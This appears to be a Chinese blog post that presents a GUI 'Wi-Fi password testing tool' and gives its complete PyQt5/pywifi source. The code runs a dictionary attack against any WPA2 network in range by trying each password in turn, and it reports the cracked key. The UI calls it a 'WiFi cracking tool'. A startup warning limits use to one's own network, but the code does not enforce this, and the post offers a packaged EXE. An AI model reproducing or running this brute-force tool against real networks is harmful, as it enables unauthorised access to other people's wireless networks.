当前位置: 首页 > article >正文

Python Wi-Fi密码测试工具

Python Wi-Fi测试工具

相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点个关注不迷路!!!

1. 简介:

这款工具的目的是通过字典攻击方式帮助用户测试 Wi-Fi 网络的安全性。通过选择合适的无线网卡接口、目标 Wi-Fi 网络和密码字典文件,用户可以在界面上实时看到测试进度、日志和最终结果。

以下是详细的功能介绍:

1. Wi-Fi 接口选择
功能:允许用户选择无线网卡接口。
实现:通过 pywifi.PyWiFi() 获取所有可用的无线网卡接口,并在界面中显示供用户选择。
2. Wi-Fi 网络扫描
功能:扫描可用的 Wi-Fi 网络并显示在下拉列表中。
实现:选择无线网卡接口后,点击“刷新列表”按钮,程序将扫描并列出所有可用的 Wi-Fi 网络(SSID)。
3. 字典文件选择
功能:用户选择一个密码字典文件,工具将用字典中的密码尝试连接到目标 Wi-Fi 网络。
实现:用户可以通过拖放或点击“选择字典文件”按钮,选择一个 .txt 格式的密码字典文件。每个字典文件中的密码将逐一尝试。
4. Wi-Fi 测试过程
功能:使用字典文件中的密码尝试连接到目标 Wi-Fi 网络,直到找到正确的密码或遍历完所有密码。
实现:
使用 pywifi 库来创建 Wi-Fi 配置文件并尝试连接。
每个密码尝试后,更新日志并显示尝试的密码。
如果连接成功,显示成功密码;如果失败,则继续尝试下一个密码。
支持设置最大等待时间(例如 5 秒)来检查连接是否成功。
5. 进度条
功能:实时显示破解进度。
实现:在破解过程中,每次尝试密码后更新进度条,显示当前已尝试密码的百分比。
6. 日志显示
功能:记录并实时显示破解过程中的日志信息。
实现:所有的日志信息(如密码尝试、连接成功、失败等)会在界面上以文本形式实时更新,供用户查看。
7. 开始/停止测试
功能:用户可以开始或停止测试过程。
实现:点击“开始测试”按钮时,程序会启动一个后台线程,执行 Wi-Fi 测试操作。点击“停止测试”按钮时,用户可以中止破解操作。
8. 合法性警告
功能:在应用启动时,给出使用工具的合法性警告,提醒用户本工具仅供测试自己的网络安全性,禁止用于非法用途。
实现:弹出一个消息框,显示合法性警告。如果用户选择取消,则关闭程序。
9. 密码破解成功提示
功能:在成功测试出 Wi-Fi 密码时,弹出提示框告知用户破解结果。
实现:当测试成功后,弹出一个信息框,显示测试的密码。
*10. 停止测试
功能:用户可以随时停止正在进行的破解过程。
实现:通过 CrackThread 中的 stop() 方法,停止当前的测试线程。

2. 运行效果:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. 相关源码:

import sys
import os
import time
from PyQt5.QtWidgets import (
    QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,
    QLabel, QTextBrowser, QFileDialog, QProgressBar,
    QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import const


class DragDropLineEdit(QLineEdit):
    def __init__(self, parent=None):
        super().__init__(parent)
        self.setAcceptDrops(True)

    def dragEnterEvent(self, event):
        if event.mimeData().hasUrls():
            event.accept()
        else:
            event.ignore()

    def dropEvent(self, event):
        if event.mimeData().hasUrls():
            file_path = event.mimeData().urls()[0].toLocalFile()
            if os.path.isfile(file_path):
                self.setText(file_path)
            else:
                event.ignore()
        else:
            event.ignore()


class CrackThread(QThread):
    update_progress = pyqtSignal(int)
    update_log = pyqtSignal(str)
    success_signal = pyqtSignal(str)

    def __init__(self, wifi_name, dictionary_path, iface):
        super(CrackThread, self).__init__()
        self.wifi_name = wifi_name
        self.dictionary_path = dictionary_path
        self.iface = iface
        self.running = True

    def emit_log_with_time(self, message):
        timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")
        self.update_log.emit(f"{timestamp} {message}")

    def run(self):
        if not os.path.exists(self.dictionary_path):
            self.emit_log_with_time("[!] 密码字典文件不存在!")
            return

        self.emit_log_with_time("开始破解...")
        with open(self.dictionary_path, "r", encoding="utf-8") as file:
            passwords = file.readlines(1000)  # 每次读取1000行

        total_passwords = len(passwords)
        for idx, password in enumerate(passwords):
            if not self.running:
                self.emit_log_with_time("[!] 破解已停止。")
                break

            password = password.strip()  # 去除多余空格和换行符
            self.emit_log_with_time(f"[-] 测试密码: {password}")
            if self.wifi_connect(password):
                self.emit_log_with_time(f"[+] 成功连接!密码:{password}")
                self.success_signal.emit(password)
                self.update_progress.emit(100)
                return

            self.update_progress.emit(int((idx + 1) / total_passwords * 100))

        self.emit_log_with_time("[!] 破解失败,尝试其他字典文件。")

    def wifi_connect(self, pwd):
        try:
            # 创建WiFi配置文件
            profile = pywifi.Profile()
            profile.ssid = self.wifi_name
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = pwd

            # 清除所有配置文件
            self.iface.remove_all_network_profiles()
            tep_profile = self.iface.add_network_profile(profile)

            # 连接WiFi
            self.iface.connect(tep_profile)
            start_time = time.time()

            # 等待连接结果
            while time.time() - start_time < 5:  # 延长等待时间到5秒
                status = self.iface.status()
                if status == const.IFACE_CONNECTED:
                    self.iface.disconnect()  # 连接成功后断开,避免干扰后续操作
                    return True
                elif status == const.IFACE_DISCONNECTED:
                    time.sleep(1)  # 给网卡足够时间反应

            self.iface.disconnect()  # 确保清理状态
            return False
        except Exception as e:
            self.emit_log_with_time(f"[!] 连接时发生错误: {e}")
            return False

    def stop(self):
        self.running = False


class WiFiCrackerUI(QMainWindow):
    def __init__(self):
        super().__init__()
        self.initUI()
        self.thread = None

    def initUI(self):
        self.setWindowTitle("WiFi破解工具")
        self.setGeometry(100, 100, 378, 532)
        self.set_ui_styles()
        self.show_legal_warning()

        layout = QVBoxLayout()

        self.interface_label = QLabel("选择无线网卡接口:")
        self.interface_list = QComboBox()
        self.refresh_interface_list()
        layout.addWidget(self.interface_label)
        layout.addWidget(self.interface_list)

        wifi_layout = QHBoxLayout()
        self.wifi_label = QLabel("WiFi 名称:")
        self.wifi_list = QComboBox()
        self.refresh_wifi_button = QPushButton("刷新列表")
        self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)
        wifi_layout.addWidget(self.wifi_label)
        wifi_layout.addWidget(self.wifi_list)
        wifi_layout.addWidget(self.refresh_wifi_button)
        layout.addLayout(wifi_layout)

        self.path_label = QLabel("密码字典路径:")
        self.path_input = DragDropLineEdit()
        self.browse_button = QPushButton("选择字典文件(.txt)")
        self.browse_button.clicked.connect(self.browse_file)
        layout.addWidget(self.path_label)
        layout.addWidget(self.path_input)
        layout.addWidget(self.browse_button)

        self.log_browser = QTextBrowser()
        layout.addWidget(self.log_browser)

        self.progress_bar = QProgressBar()
        layout.addWidget(self.progress_bar)

        self.start_button = QPushButton("开始破解")
        self.start_button.clicked.connect(self.start_cracking)
        self.stop_button = QPushButton("停止破解")
        self.stop_button.clicked.connect(self.stop_cracking)
        layout.addWidget(self.start_button)
        layout.addWidget(self.stop_button)

        container = QWidget()
        container.setLayout(layout)
        self.setCentralWidget(container)

        self.refresh_wifi_list()

    def set_ui_styles(self):
        self.setStyleSheet("""
            QPushButton {
                background-color: #4CAF50;
                color: white;
                border-radius: 5px;
                padding: 10px;
            }
            QPushButton:hover {
                background-color: #45a049;
            }
            QProgressBar {
                border: 2px solid #4CAF50;
                border-radius: 5px;
                text-align: center;
            }
            QTextBrowser {
                background-color: #f5f5f5;
                font-family: "Courier New";
                border-radius: 5px;
            }
        """)

    def show_legal_warning(self):
        reply = QMessageBox.warning(
            self,
            "合法性警告",
            "本工具仅供测试自己网络的安全性,禁止用于非法用途!\n"
            "使用本工具即表示您同意对所有行为自行负责。",
            QMessageBox.Ok | QMessageBox.Cancel,
        )
        if reply == QMessageBox.Cancel:
            self.close()  # 如果用户选择取消,退出程序

    def load_translations(self, language_code="en"):
        translator = QTranslator()
        if language_code == "zh":
            translator.load(":/translations/zh_CN.qm")
        else:
            translator.load(":/translations/en_US.qm")
        app.installTranslator(translator)

    def refresh_interface_list(self):
        wifi = pywifi.PyWiFi()
        self.interface_list.clear()
        for iface in wifi.interfaces():
            self.interface_list.addItem(iface.name())

    def refresh_wifi_list(self):
        self.wifi_list.clear()
        iface_name = self.interface_list.currentText()
        if not iface_name:
            self.log_browser.append("[!] 请先选择 Wi-Fi 接口!")
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
            iface.scan()
            self.log_browser.append("[+] 网络扫描开始...")
            QTimer.singleShot(2000, self.on_scan_complete)  # 2秒后回调扫描结果
        except Exception as e:
            self.log_browser.append(f"[!] 刷新 Wi-Fi 列表时出错: {e}")

    def on_scan_complete(self):
        iface_name = self.interface_list.currentText()
        wifi = pywifi.PyWiFi()
        iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)
        results = iface.scan_results()
        seen_ssids = set()
        for network in results:
            ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')
            if ssid and ssid not in seen_ssids:
                self.wifi_list.addItem(ssid)
                seen_ssids.add(ssid)
        self.log_browser.append("[+] Wi-Fi 列表刷新完成。")

    def browse_file(self):
        file_path, _ = QFileDialog.getOpenFileName(self, "选择密码字典文件", "", "文本文件 (*.txt)")
        if file_path:
            if not file_path.endswith('.txt'):
                self.log_browser.append("[!] 请选择一个有效的文本文件!")
                return
            self.path_input.setText(file_path)

    def start_cracking(self):
        if self.thread and self.thread.isRunning():
            self.log_browser.append("[!] 破解已经在运行中,请等待完成。")
            return

        wifi_name = self.wifi_list.currentText().strip()
        dictionary_path = self.path_input.text().strip()

        if not wifi_name or not dictionary_path:
            self.log_browser.append("[!] 请填写完整信息!")
            return

        try:
            wifi = pywifi.PyWiFi()
            iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())
            iface.disconnect()
            time.sleep(1)
            if iface.status() != const.IFACE_DISCONNECTED:
                self.log_browser.append("[!] 无法断开当前连接。")
                return
        except Exception as e:
            self.log_browser.append(f"[!] 无法初始化无线网卡: {e}")
            return

        self.thread = CrackThread(wifi_name, dictionary_path, iface)
        self.thread.update_log.connect(self.log_browser.append)
        self.thread.update_progress.connect(self.progress_bar.setValue)
        self.thread.success_signal.connect(self.show_success_message)
        self.thread.start()

    def stop_cracking(self):
        if self.thread and self.thread.isRunning():
            self.thread.stop()

    def show_success_message(self, password):
        QMessageBox.information(self, "破解成功", f"Wi-Fi 密码是: {password}")


if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = WiFiCrackerUI()
    window.show()
    sys.exit(app.exec_())


http://www.kler.cn/a/503585.html

相关文章:

  • 理解机器学习中的参数和超参数
  • Leetcode 377. 组合总和 Ⅳ 动态规划
  • 【Linux 之一 】Linux常用命令汇总
  • Linux(Centos 7.6)命令详解:split
  • MySQL:索引
  • java项目之智慧农贸信息化管理平台(ssm+mybatis+mysql)
  • 从根源上解决cursor免费版50次限制问题
  • 【pycharm】远程部署失败,查看日志
  • zookeeper 基本原理-单机模式、集群模式
  • Three.js 性能优化:打造流畅高效的3D应用
  • 基于YOLOv8的高空无人机小目标检测系统(python+pyside6界面+系统源码+可训练的数据集+也完成的训练模型
  • wordpress 房产网站筛选功能
  • CRMEB多商户商城系统JAVA版 B2B2C商家入驻平台系统独立版全开源
  • aws(学习笔记第二十四课) 使用sam开发step functions
  • 3D目标检测数据集——Waymo数据集
  • 【Rust自学】12.6. 使用TDD(测试驱动开发)开发库功能
  • 无人机飞手考证难度提升,地面站培训技术详解
  • 《深入理解Mybatis原理》Mybatis中的缓存实现原理
  • Android JetPack组件之LiveData的使用详解
  • Life Long Learning(李宏毅)机器学习 2023 Spring HW14 (Boss Baseline)
  • HTTP/HTTPS ⑤-CA证书 || 中间人攻击 || SSL/TLS
  • JVM之垃圾回收器G1概述的详细解析
  • C# 配置文件:app.config 和 web.config
  • Flask简介
  • Scala 异常处理
  • 代码随想录刷题day06|(数组篇)54.螺旋矩阵(补1.13